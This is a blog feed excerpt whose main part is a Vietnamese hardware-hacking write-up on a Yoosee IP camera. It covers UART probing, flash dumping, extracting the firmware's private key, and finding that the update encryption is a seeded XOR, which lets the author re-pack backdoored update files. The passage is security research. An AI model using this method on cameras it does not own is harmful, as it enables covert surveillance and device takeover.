  <span class="hljs-keyword">else</span> <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Update draft <span class="hljs-subst">${draftId}</span> failed`</span>);
  <span class="hljs-keyword">return</span> result;
};
</code></pre>
<h3 id="heading-tags-mapping">Tags mapping</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> getTags = <span class="hljs-function">(<span class="hljs-params">post: <span class="hljs-built_in">any</span>, postsTags: <span class="hljs-built_in">any</span>, tags: <span class="hljs-built_in">any</span></span>) =&gt;</span> {
  <span class="hljs-keyword">let</span> postId = post.id;
  <span class="hljs-keyword">let</span> filteredPostTags = postsTags
    .filter(<span class="hljs-function">(<span class="hljs-params">item: <span class="hljs-built_in">any</span></span>) =&gt;</span> item.post_id == postId)
    .map(<span class="hljs-function">(<span class="hljs-params">item: <span class="hljs-built_in">any</span></span>) =&gt;</span> item.tag_id);
  <span class="hljs-keyword">let</span> filteredTags = tags
    .filter(<span class="hljs-function">(<span class="hljs-params">tag: <span class="hljs-built_in">any</span></span>) =&gt;</span> filteredPostTags.includes(tag.id))
    .map(<span class="hljs-function">(<span class="hljs-params">item: <span class="hljs-built_in">any</span></span>) =&gt;</span> item.name);

  <span class="hljs-keyword">return</span> filteredTags;
};
</code></pre>
<h2 id="heading-source-codes">Source codes</h2>
<h3 id="heading-hashnode-api-implementation">Hashnode API implementation</h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/t-rekttt/hashnode-sdk-js">https://github.com/t-rekttt/hashnode-sdk-js</a></div>
<p> </p>
<h3 id="heading-ghost-migration-scripts">Ghost migration scripts</h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/t-rekttt/ghost-migration">https://github.com/t-rekttt/ghost-migration</a></div>
<p> </p>
<h2 id="heading-afterword">Afterword</h2>
<ul>
<li><p>If you reached this part of the post, I want to say thank you for reading, your attention is considered big support for me. Hope it would help if you are consider moving from Ghost.</p>
</li>
<li><p>If you like my post, please consider giving a star 🌟.</p>
</li>
<li><p>As I'm just started to code using typescript, my code looks crap. Please feel free to open PRs if you are willing to help 🤩.</p>
</li>
<li><p>Sharing the post would be much appreciated (especially since I'm trying to surpass my friend 🤣).</p>
</li>
</ul>
<h2 id="heading-credits">Credits</h2>
<ul>
<li><a target="_blank" href="https://github.com/phuctm97/hashnode-sdk-js">hashnode-sdk-js</a> by phuctm97</li>
</ul>
<ul>
<li>Thumbnail icons resources by pikisuperstar</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[About me]]></title><description><![CDATA[Hi, I'm T-Rekt (also known as Viet Thao)I'm the "jack of all trades". I do web development, pentesting, reverse engineering,  hardware & IoT research, algorithm,...but not the king of anything.Social profiles:GithubFacebookLinkedInExperiences:Learned...]]></description><link>https://thao.pw/about-me</link><guid isPermaLink="true">https://thao.pw/about-me</guid><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Tue, 16 Aug 2022 12:17:21 GMT</pubDate><content:encoded><![CDATA[<p></p><h3 id="hi-im-t-rekt-also-known-as-viet-thao">Hi, I'm T-Rekt (also known as Viet Thao)</h3><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629073877/30097115-7684-43a9-a03f-6103cfe19554.png" class="kg-image" alt /><p>I'm the "jack of all trades". I do web development, pentesting, reverse engineering,  hardware &amp; IoT research, algorithm,...but not the king of anything.</p><h2 id="social-profiles">Social profiles:</h2><ul><li><a href="https://github.com/t-rekttt">Github</a></li><li><a href="https://www.facebook.com/t.rekttt/">Facebook</a></li><li><a href="https://www.linkedin.com/in/thao-tu-3610a4102">LinkedIn</a></li></ul><h2 id="experiences">Experiences:</h2><ul><li>Learned <strong>web security</strong> from 2016 - 2018, did some security reports.</li><li>Working on some web pet project &amp; Facebook tools from 2017 - 2018. Learned <strong>web development</strong> skills (ability to use git, heroku, MEVN stack...).</li><li>Actively researched Facebook API from 2017 - 2018. Learned <strong>web &amp; proxy debugging</strong> skills (ability to use Fiddler, Burpsuite, Chrome devtools efficiently).</li><li>Practicing <strong>algorithm</strong> and participating in ICPC and olympiad contests from 2018-2021. Ability to code common algorithm in C++.</li><li>Reversing Android apps from 2018 - now. Learned <strong>Android &amp; native libs reverse engineering</strong> skills (ability to use jadx, JEB debugger, IDA pro, gdb,...).</li><li>Learning hardware &amp; IoT security from 2021 - now. Learned <strong>electronics &amp; basic hardware debugging skills</strong> (measuring signal using oscilloscope, UART, dumping firmware from flash chip).</li></ul><h2 id="activities">Activities:</h2><ul><li>2016: Reported an Information Disclosure bug to CGV: <a href="https://www.junookyo.com/2016/10/ro-ri-3-trieu-thong-tin-ca-nhan.html">writeup</a></li><li>2016: Joined <a href="https://www.facebook.com/J2TEAM-179034362668856">J2TEAM</a> - Became an admin of <a href="https://www.facebook.com/groups/j2team.community">J2TEAM Community</a></li><li>2017: Google Developer Groups Hackathon Hanoi: 2nd prize</li></ul><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629077932/d9dcb54d-0035-4750-beb9-d622cb262f6a.png" class="kg-image" alt /><ul><li>2018: Reported a bug in mobile topup feature to Vietnamobile: <a href="https://t-rekt.blogspot.com/2018/05/hack-tien-ien-thoai-chi-trong-mot-not.htm">writeup</a></li><li>2019: Hacked an anonymous Q&amp;A app on Facebook: <a href="https://kenh14.vn/tro-hoi-dap-profoundly-dang-hot-tren-facebook-bi-boc-me-khong-he-an-danh-lam-lo-danh-tinh-de-nhu-bon-20190311152217292.chn">writeup</a></li><li>2019: Facebook Whitehat thanks page:</li></ul><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629085237/36f5ee49-686a-4fe9-b863-86f34cea0bfa.png" class="kg-image" alt /><ul><li>2019 - 2020: Intership at Viettel Cyber Security for 4 months</li><li>2020 Global Cybersecurity Camp participant &amp; Robust Protocol challenge winner:</li></ul><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629088166/6ba8f281-f390-40ad-adf6-47b54d26561d.png" class="kg-image" alt /><ul><li>4 years ICPC Asia participant (2018 - 2021): 3rd prize in National round</li><li>2019 - now: Working for Cobwebs Technologies as a Researcher</li><li>2022: Hacked an IP Camera: <a href="__GHOST_URL__/hacking-yoosee-camera/">writeup</a></li></ul><p></p>
]]></content:encoded></item><item><title><![CDATA[Hacking Yoosee camera]]></title><description><![CDATA[Mở đầu
Chuyện là gần đây mình có thuê một căn chung cư mini. Trong khoảng thời gian ở đó, đôi khi rảnh rỗi mình có nghía qua hệ thống các thiết bị mạng và nhận thấy một vài target thú vị, ví dụ như khoá vân tay, wifi router và camera. Trong đó mình đ...]]></description><link>https://thao.pw/hacking-yoosee-camera</link><guid isPermaLink="true">https://thao.pw/hacking-yoosee-camera</guid><category><![CDATA[rtsp]]></category><category><![CDATA[crypto]]></category><category><![CDATA[hardware hacking]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Tue, 28 Dec 2021 08:24:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629397289/5999880b-6bcc-4aab-942d-b94c4210018f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-mo-dau">Mở đầu</h2>
<p>Chuyện là gần đây mình có thuê một căn chung cư mini. Trong khoảng thời gian ở đó, đôi khi rảnh rỗi mình có nghía qua hệ thống các thiết bị mạng và nhận thấy một vài target thú vị, ví dụ như khoá vân tay, wifi router và camera. Trong đó mình đặc biệt chú ý tới camera vì có vẻ như chỉ có một mẫu camera được dùng cho cả toà nhà này, và tên của nó là Yoosee. Vậy khả năng cao nếu như mình tìm được exploit của mẫu camera này thì sẽ có thể cầm nó đi hack tất cả cam trong toà nhà. Mình quyết định chọn con camera này làm đối tượng nghiên cứu cho con pet project đầu tiên liên quan tới hardware. Một lý do khác khiến mình chọn mục tiêu này là vì nhìn lướt qua thiết bị mình cảm thấy mức độ hoàn thiện của nó không được tốt, có lẽ là một mẫu camera rẻ tiền, điều này khiến mình linh cảm rằng khả năng nó có lỗ hổng cao hơn so với những sản phẩm hoàn thiện tốt và đến từ những hãng có tiếng tăm.</p>
<p>Không như nhiều thiết bị khác với dòng tên rất bé hoặc thậm chí không ghi tên hãng, con camera này có một cái tên được ghi to chình ình ở phía trước của thiết bị, chỉ cần nghía qua là có thể thấy ngay. Điều này giúp ích rất nhiều trong việc xác định mục tiêu mà mình cần tấn công là gì.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628914979/bcab4868-fa93-4e36-9770-58af807e9c4c.png" alt /></p>
<p>Ảnh mạng, chỉ mang tính chất minh hoạ</p>
<h2 id="heading-tom-tat-tldr">Tóm tắt (TL;DR)</h2>
<p>Bắt đầu từ con số 0, mình và Nguyễn Quốc Trung (@xikhud) đã tìm hiểu và hack thiết bị camera của hãng Yoosee. Khởi đầu từ việc nghiên cứu phần cứng, giao thức debug cho tới dump và nghiên cứu trên firmware. Bọn mình đã tìm thành công 2 lỗ hổng là heap overflow và RTSP unauthenticated stream access &amp; control, các lỗ hổng này tạo ra các kịch bản tấn công cho phép xem video và điều khiển thiết bị không cần đăng nhập cũng như khiến cho thiết bị không thể hoạt động được.</p>
<p>Bài viết trình bày đầy đủ tất cả quá trình và các nhận xét, lựa chọn hướng đi của tác giả, với mục tiêu cung cấp cho người đọc cái nhìn toàn diện nhất về quá trình nghiên cứu cũng như hỗ trợ cho những ai bắt đầu nghiên cứu sản phẩm này trong tương lai có thể sử dụng nghiên cứu này như một cơ sở để khởi đầu.</p>
<h2 id="heading-tim-hieu-thiet-bi-lua-chon-huong-di">Tìm hiểu thiết bị, lựa chọn hướng đi</h2>
<p>Sau khi có cái tên làm từ khoá, mình lên mạng tìm mua con cam về tháo ra thì thấy nó có 2 board mạch trong đó có board chính chứa SoC (màu xanh) và chip nhớ flash (màu đỏ), ngoài ra còn có một số chân cắm trông rất giống UART debug interface (màu vàng) như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628919985/4029e74a-da2a-46c5-a7ed-a13bc6c4af79.png" alt /></p>
<p>Sau khi đọc một số bài viết về việc nghiên cứu phần cứng thì mình biết rằng hướng mình có thể chọn để nghiên cứu như sau:</p>
<ul>
<li><p>Có shell, backdoor được thiết bị</p>
</li>
<li><p>Tìm firmware của thiết bị, có thể download trên internet hoặc dump trực tiếp từ thiết bị ra (qua shell hoặc dump thẳng từ chip nhớ flash)</p>
</li>
<li><p>Dịch ngược firmware này tìm lỗ hổng</p>
</li>
</ul>
<h2 id="heading-trau-doi-kien-thuc">Trau dồi kiến thức</h2>
<p>Với một người có kinh nghiệm thì có lẽ UART protocol - Universal asynchronous receiver transmitter protocol - Dịch nôm na là giao thức truyền nhận bất đồng bộ - là cách đơn giản nhất để có thể truy cập vào shell của thiết bị. Ở thời điểm ấy mình cũng có nghĩ đến phương án này tuy nhiên với khả năng của một người mới bắt đầu thì mình không biết làm sao để có thể xác định được các chân TX, RX của UART interface. Mình bắt đầu học bằng cách xem video sau:</p>
<p>Có 2 điều cơ bản và quan trọng nhất mình học được từ video này:</p>
<p>1. UART interface có 4 chân cơ bản, đó là RX, TX, VCC và GND, trong đó có 3 chân thường thấy là RX, TX và GND có công dụng như sau:</p>
<ul>
<li><p>TX: Transmitter - Chân truyền dữ liệu</p>
</li>
<li><p>RX: Receiver - Chân nhận dữ liệu</p>
</li>
<li><p>GND: Ground reference - Tham chiếu "đất", dùng làm điểm để tham chiếu cho giá trị 0V và khử các tín hiệu nhiễu</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628927793/5c820a88-3c06-4ce2-8e18-ed805fc714a5.png" alt /></p>
<p>2. Có thể phân biệt các chân UART bằng đồng hồ vạn năng</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628931808/7dbde6b6-5ecc-46bf-9e30-ce0fa1cfdb78.png" alt /></p>
<h2 id="heading-tiep-can-1-giao-thuc-uart">Tiếp cận 1: Giao thức UART</h2>
<p>Sau khi biết được rằng có thể đo các chân UART bằng đồng hồ đo điện, mình có tiến hành đo thử, tuy nhiên kết quả khiến mình vô cùng bối rối vì thấy có 1 chân 0V và 2 chân 3.3V. Chân 0V thì có thể đoán được là ground reference tuy nhiên 2 nhân 3.3V kia thì mình không phân biệt được cái nào là TX và cái nào là RX.</p>
<p>Không tìm được thì đành đoán mò, mà không những phải đoán mò xem chân nào làm nhiệm vụ gì mà lại còn phải chọn đại 1 cái baud rate - hay nói nôm na là tần số gửi tín hiệu - ở đây mình chọn bừa một con số phổ biến là 115200. Sau một hồi cắm thử thì tình cờ mình nhận được ít logs của chiếc cam này. Khoảnh khắc ấy với mình thì phải nói là mừng như bắt được vàng.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628937586/16c97812-0a2c-451c-a8ff-bc962cb66127.png" alt /></p>
<p>Tuy nhiên việc đoán mò cũng có cái giá của nó, mặc dù đã có thể xem logs nhưng có vẻ rằng mình hoàn toàn không thể gửi một chút dữ liệu hay câu lệnh nào cho cái cam nay. Lúc này mình cũng hoàn toàn không biết liệu nó có shell không hay là read-only nữa.</p>
<h2 id="heading-tiep-can-2-firmware">Tiếp cận 2: Firmware</h2>
<p>Bế tắc trong hướng đi đầu tiên, mình đành chuyển qua giải pháp thứ 2 đó là tìm firmware của thiết bị này để nghiên cứu.</p>
<h3 id="heading-tim-kiem-firmware-tren-internet">Tìm kiếm firmware trên internet</h3>
<p>Mình đã thử tìm kiếm trên Google cũng như forum của nsx tuy nhiên mình nhận thấy rằng họ chỉ chia sẻ firmware đã bị outdate nên không thể dùng để cập nhật cho thiết bị được.</p>
<p>Chưa kể rằng trong quá trình này mình phát hiện ra các bản firmware mới đã được mã hoá và chúng chứa một private RSA key để giải mã bản firmware tiếp theo, điều này khẳng định rằng gần như ta sẽ không thể downgrade một phiên bản cũ đè lên phiên bản hiện hành của thiết bị do key RSA không khớp.</p>
<h3 id="heading-thu-dump-firmware-bang-giao-thuc-spi">Thử dump firmware bằng giao thức SPI</h3>
<p>Do vậy mình quyết định dump firmware trực tiếp từ chip nhớ flash để sử dụng. Tuy nhiên để dump được từ chip flash thì mình cần biết cách phân biệt chip và giao thức mà nó sử dụng. Trước đó khi đọc cuốn sách "The Hardware Hacking Handbook", mình biết qua rằng chip flash thường sử dụng giao thức SPI. Vì đem dòng chữ trên chip search mãi không ra thông tin gì nên mình quyết định nối "bừa" theo cái sơ đồ chân sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628940134/1ab5df24-c93d-4e68-96d9-2f8f7919bfb4.png" alt /></p>
<p>Hình ảnh thực tế, mình dùng kit PCBite để nối chân và ESP32 để đọc dữ liệu, vì kit PCBite của mình chỉ có 4 chân nên hình như mình đã nối theo như tổ tiên mách bảo, hình như 4 chân mình chọn lúc ấy là: Clock (CLK), Chip select (CS), Master in slave out (MISO), Master out slave in (MOSI). Và tất nhiên đã không biết lại còn nối bừa thì kết quả của mình lúc này thu được nó là con số 0 :)).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628943736/8fe781a4-bfce-4b27-811b-6d53ceee5397.png" alt /></p>
<h3 id="heading-tim-hieu-dump-firmware-bang-mach-co-san">Tìm hiểu, dump firmware bằng mạch có sẵn</h3>
<p>Vì việc làm mò này không có tác dụng nên cuối cùng mình quyết định lên đặt câu hỏi trên diễn đàn Arduino Việt Nam - Một diễn đàn lớn về điện tử và lập trình nhúng trong đó cụ thể là Arduino.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628949348/f9a84afc-0afd-48ce-8eb5-5221fb605d9f.png" alt /></p>
<p>Rất may mắn mình nhận được một số câu trả lời vô cùng chi tiết và hữu ích:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628953955/66e4bf6d-1127-4d01-91aa-48bd2a883ec4.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628956053/cf747dae-f555-447f-90b6-b3d5a53559b7.png" alt /></p>
<p>Vì vậy sau đó mình đã quyết định mua set mạch CH341A với giá 100k trên Shopee về để thử nghiệm :)).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628958969/2d4eb1d0-7d3d-4690-87ff-8c9769a6ac2c.png" alt /></p>
<p>Hình ảnh thực tế:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628963006/8b3bb488-a266-49bd-bd68-3468ddf5b6e7.png" alt /></p>
<h2 id="heading-correctextract-firmware">Correct/extract firmware</h2>
<p>Vì flash chip nằm trên mạch và dữ liệu được đọc dưới dạng tín hiệu điện tử nên sẽ có nhiễu khiến cho một số byte dữ liệu bị sai khác dẫn tới extract firmware ra bị lỗi, vì vậy mình viết một đoạn code nho nhỏ để sửa lỗi như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628967399/9e798b1e-7a14-4846-ad0f-b85faa325fb7.png" alt /></p>
<p>Ý tưởng của đoạn code khá đơn giản đó là lấy dữ liệu từ nhiều file dump sau đó tại mỗi vị trí (mỗi byte) sẽ chọn ra giá trị giống nhau giữa nhiều file nhất để làm kết quả.</p>
<p>Kết quả: Mình đã sử dụng thành công binwalk để nhận diện và extract file firmware:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628970254/421d5257-120e-4f0b-8dfd-1f2b4d661a40.png" alt /></p>
<h2 id="heading-buoc-ngoat-dong-doi-moi">Bước ngoặt: Đồng đội mới</h2>
<p>Thật tình cờ vào thời điểm đó mình lại nhận được tin nhắn ngỏ ý muốn hợp tác của Trung (@xikhud). Mình xem profile thì biết rằng Trung mới hoàn thành xong Flareon - Một cuộc thi về dịch ngược hàng năm do FireEye, một công ty an ninh mạng lớn, tổ chức.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628973234/f6ce86d1-68bc-4c67-b393-36b2657cca2f.png" alt /></p>
<p>Ở thời điểm mà mình bắt đầu có firmware để nghiên cứu mà lại có 1 reverser join vào thì là một cơ hội tốt :3 chưa kể mình cũng còn bị thiếu kinh nghiệm dịch ngược nữa nên việc có được Trung trong team là một điều tuyệt vời.</p>
<h2 id="heading-xac-dinh-lai-muc-tieu">Xác định lại mục tiêu</h2>
<p>Như đã nói ở trên thì mục tiêu của mình lúc này đó là tìm cách để có được shell trên thiết bị, vì vậy giờ khi có 2 người thì mục tiêu chính của bọn mình cũng là:</p>
<ul>
<li><p>Trung dịch ngược firmware và tìm ra cách vào shell từ một interface nào đó trên thiết bị -&gt; Thành công theo hướng này cũng gần như đồng nghĩa với việc bọn mình có thể hack được vào thiết bị từ bên ngoài.</p>
</li>
<li><p>Mình tìm được cách vào shell bằng cách backdoor thiết bị từ cơ chế update -&gt; Hướng đi này sẽ dùng làm bàn đạp để có persistent access và debug firmware ngay trên thiết bị. Tuy nhiên hướng đi này cần có tác động vật lý tới thiết bị vì vậy bọn mình vẫn sẽ cần Trung nghiên cứu thêm bug để có thể hack một cách thuyết phục hơn.</p>
</li>
</ul>
<p>Ở đây mình sẽ trình bày hướng đi của mình.</p>
<h2 id="heading-tim-hieu-cau-truc-firmware">Tìm hiểu cấu trúc firmware</h2>
<p>Trong quá trình đọc logs từ UART mình thấy thiết bị có định kì gửi HTTP request để check for update và lấy được luôn URL để tải file update này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628975600/ce9e7d8b-0d21-4f6e-8fe6-f9facf416559.png" alt /></p>
<p>URL update có dạng như trên hình</p>
<p>Tuy nhiên như mình nói ở trên đó là file update này được mã hoá và cần có key RSA tương ứng ở trong thiết bị để giải mã. Vì bọn mình đã extract được firmware nên có thể tìm thấy ngay file private key này trên thiết bị với cái tên <strong>1912ak1.5.00.prv</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628978281/7679db60-6824-418d-a50b-6534e68a693b.png" alt /></p>
<p>À, đọc đến đây có thể bạn sẽ thắc mắc rằng tại sao bọn mình không patch file firmware đã dump ra rồi flash ngược lại vào trong thiết bị? Tại vì như mình nói trước đó do flash chip vẫn đang nằm trên mạch nên nó bị nhiễu bởi các thành phần điện tử khác, khiến cho việc flash lại firmware bị sai sót và "tạch" luôn thiết bị. Mặt khác firmware mình dump ra dù đã được correct nhưng ít nhiều nó vẫn có thể có những byte bị sai dẫn đến hậu quả tương tự.</p>
<p>Vì lý do như vậy nên mình chọn hướng đi đó là giải mã file update -&gt; đặt backdoor -&gt; encrypt lại -&gt; update thiết bị bằng file mới -&gt; shell.</p>
<p>Ok, tiếp tục câu chuyện đó là giờ có file update đã mã hoá + private key -&gt; Đã có thể giải mã file update rồi, tuy nhiên để giải mã được thì mình còn cần biết nó được mã hoá bằng cách nào nữa (tuy gọi là RSA nhưng vẫn có nhiều cách cài đặt mã hoá khác nhau).</p>
<p>Trong quá trình tìm kiếm, mình tìm thấy một file chịu trách nhiệm cho quá trình update này với cái tên là <strong>gwellupdater.sh</strong>.</p>
<p>Đoạn code đáng chú ý đầu tiên đó là đoạn giải mã file update bằng lệnh <strong>rsa_dec</strong>. Tên của file đã được mã hoá luôn là <strong>upg.bin.enc</strong> (do tên file này là đã được cố định ở biến $FILENAME). Tên file sau khi giải mã là <strong>upg.bin</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628979928/8b0b35a8-58d8-4beb-bc4d-a064f50ac8cb.png" alt /></p>
<p>Tiếp theo là cắt file firmware ra thành 3 phần bằng lệnh <strong>dd</strong>:</p>
<ul>
<li><p>bootupdater.sh</p>
</li>
<li><p>payload.md5</p>
</li>
<li><p>payload.bin</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628982391/a5dddf0f-b051-40ae-8467-e735400d1ef1.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628984687/f68889fb-e82d-45b6-bf7b-d8a16c05d410.png" alt /></p>
<p>Trung là người nhìn thấy chi tiết này trước mình</p>
<p>So sánh md5 hash của file <strong>payload.bin</strong> với nội dung hash trong file <strong>payload.md5</strong>. Mục đích của việc này là check sự toàn vẹn của file update.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628987273/de339b87-42ce-4996-a34b-a5e190d4fd22.png" alt /></p>
<p>Chạy file <strong>bootupdater.sh</strong> với <strong>payload.bin</strong> là tham số bằng lệnh <strong>sh</strong>. Xoá các file tạm được tạo ra trong quá trình update để giải phóng dung lượng. Kiểm tra và reboot nếu file <strong>/tmp/do_not_reboot_after_update</strong> không tồn tại.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628990133/5b43129c-a0da-4584-be7d-e5eca03492d5.png" alt /></p>
<p>Tới đây mình rút ra được một số nhận xét như sau:</p>
<ul>
<li><p>Nếu có thể mã hoá lại được file update <strong>upg.bin.enc</strong> sau khi chỉnh sửa thì mình có thể cập nhật lên thiết bị này một bản update bất kì.</p>
</li>
<li><p>Trong quá trình update thì thiết bị chạy file <strong>bootupdater.sh</strong>, mà file này lại được cắt ra từ chính file update đã được giải mã (<strong>upg.bin</strong>).</p>
</li>
</ul>
<p>-&gt; Nếu có thể mã hoá được file update thì mình có thể trực tiếp chèn 1 đoạn script backdoor thiết bị (không cần chờ quá trình update thành công).</p>
<h2 id="heading-nghien-cuu-thuat-toan-ma-hoa-andamp-giai-ma-update-file">Nghiên cứu thuật toán mã hoá &amp; giải mã update file</h2>
<p>Việc đầu tiên mà mình làm đó cứ phải là giải mã file update đã. Mình lấy file <strong>rsa_dec</strong> từ firmware trước đó lấy được từ thiết bị, đồng thời cũng phát hiện ra file này sử dụng mã nguồn tại repo <a target="_blank" href="https://github.com/ilansmith/rsa">sau</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628992977/9d71ce5b-9ed6-4ea7-bca2-c389d5e2f868.png" alt /></p>
<p>Mã nguồn mã hoá RSA mà mình tìm thấy</p>
<p>Sau đó mình đọc nội dung file <strong>bootupdater.sh</strong>.</p>
<p>Trong đó mình chú ý tới các đoạn code sau:</p>
<p>Sử dụng <strong>dd</strong> để cắt file firmware (<strong>upg.bin</strong>) thành 2 phần, <strong>app.bin</strong> và <strong>uImage</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628995754/377c4e1b-76ac-4402-b9ec-fe6689c6733f.png" alt /></p>
<p>Dùng <strong>dd</strong> để write file <strong>app.bin</strong> vào <strong>/dev/mtdblock6</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628998715/7458415c-3212-4ee0-9a93-090a74e643b3.png" alt /></p>
<p>Update kernel, dùng <strong>dd</strong> để write file <strong>uImage</strong> vào <strong>/dev/mtdblock1</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629001664/a11a705b-9110-4f4d-bd85-83c35d8be103.png" alt /></p>
<p>Như vậy có thể thấy <strong>bootupdater.sh</strong> có thể tương tác với filesystem, thậm chí có thể flash lại cả kernel và firmware.</p>
<p>Mình tiếp tục extract file <strong>app.bin</strong> để xem nội dung. Có vẻ như đây là phần core của firmware, chứa các file binary và scripts cần thiết để thực hiện mọi tác vụ.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629004808/5aedc0f7-2d03-4b63-a62a-4fb60c853810.png" alt /></p>
<h2 id="heading-khai-thac-lo-hong-trong-co-che-ma-hoa-de-backdoor-update-file">Khai thác lỗ hổng trong cơ chế mã hoá để backdoor update file</h2>
<p>Phần mà mình quan tâm nhất lúc này đó là làm sao để pack lại file update, vì vậy nên mình để Trung tiếp tục nghiên cứu trên firmware, còn mình thì tập trung vào tìm hiểu cách hoạt động của mã nguồn RSA.</p>
<p>Compile và chạy thử file <strong>rsa_dec</strong>, thấy có các options sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629008113/f3b59524-a57f-4de8-961f-78a1a49d7d29.png" alt /></p>
<p>So sánh với câu lệnh giải mã lúc nãy thấy trong bash script, ta thấy các options -o, -v và -f được sử dụng.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629009970/44f84c30-ce77-4b6c-8c13-eb15264d21fc.png" alt /></p>
<p>Như vậy câu lệnh cuối cùng được thực thi đó là</p>
<pre><code class="lang-bash">rsa_dec -o -v -f upg.bin.enc
</code></pre>
<p>Ý nghĩa của câu lệnh này là <strong>giải mã và giữ file gốc (-o)</strong>, <strong>in ra các thông tin</strong> trong quá trình giải mã <strong>(-v)</strong>, với <strong>tên file đầu vào là upg.bin.enc (-f)</strong>.</p>
<p>Vì đã biết tính năng nào sẽ được sử dụng nên mình đọc source code và thấy phần xử lý quan trọng nhất nằm trong hàm sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629012725/eee0cbba-957d-4e0f-b74c-efe40e5b5f74.png" alt /></p>
<p>Từ đây mình tóm tắt lại được quy trình giải mã như sau:</p>
<p><strong>rsa_decrypt</strong>:</p>
<ul>
<li><p>rsa_decrypt_prolog:</p>
<ul>
<li><p>Mở các file chuẩn bị cho quá trình đọc/ghi</p>
</li>
<li><p>Tìm các private key và thêm vào "key ring"</p>
</li>
<li><p>Kiểm tra xem private key nào khớp với ciphertext</p>
</li>
</ul>
</li>
<li><p>rsa_decrypt_quick/rsa_decrypt_full:</p>
<ul>
<li>Thực hiện giải mã</li>
</ul>
</li>
<li><p>rsa_decrypt_epilog:</p>
<ul>
<li><p>Đóng các file key, plaintext, ciphertext</p>
</li>
<li><p>Xoá file gốc nếu cần</p>
</li>
</ul>
</li>
</ul>
<p>Sau đó khi debug thử quá trình giải mã với file update ban đầu thì mình phát hiện ra nó sử dụng hàm <strong>rsa_decrypt_quick</strong>, và mình khá bất ngờ khi đọc source code của hàm này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629015581/6a9072c0-a3bb-44a0-aa0b-fc2bbaaea0b5.png" alt /></p>
<p>Về cơ bản thì hàm này chỉ đem từng block 64 bit xor với 64 bit <strong>RSA_RANDOM(),</strong> ở đây chính là hàm <strong>random()</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629018326/47f32bc3-c4ef-4064-a312-b01a27b2026d.png" alt /></p>
<p>Đến đây thì mình đoán được rằng quy trình giải mã này sẽ tạo ra một dãy số random từ 1 seed nào đó nằm trong private key. Thật vậy, khi đọc lại hàm <strong>rsa_decrypt_prolog</strong>, mình thấy có 1 call chain như sau:</p>
<ul>
<li><p>rsa_dec.c/<strong>number_random_seed</strong>:</p>
<ul>
<li><p>rsa_dec.c/<strong>rsa_decrypte_header_common</strong>:</p>
<ul>
<li><p>rsa.c/<strong>rsa_decode(&amp;seed, &amp;seed, &amp;key-&gt;exp, &amp;key-&gt;n);</strong></p>
</li>
<li><p>rsa_num.c/<strong>number_seed_set_fixed(&amp;seed);</strong></p>
<ul>
<li><p>rsa_num.c/<strong>number_seed_set</strong></p>
<ul>
<li><strong>srandom(number_random_seed);</strong></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>Điều này có nghĩa là trong quá trình chuẩn bị private key để decrypt thì đồng thời hàm prolog này cũng decrypt và set luôn random seed bằng <strong>srandom</strong>.</p>
<p>Và...ủa, nghĩa là để pack lại file update kia thì mình chỉ cần extract được seed và xor lại phần data mình sửa lại với dãy số random được tạo ra bởi cái seed kia thôi?</p>
<p>Khỏi phải nói, việc này <strong>QUÁ DỄ</strong>!</p>
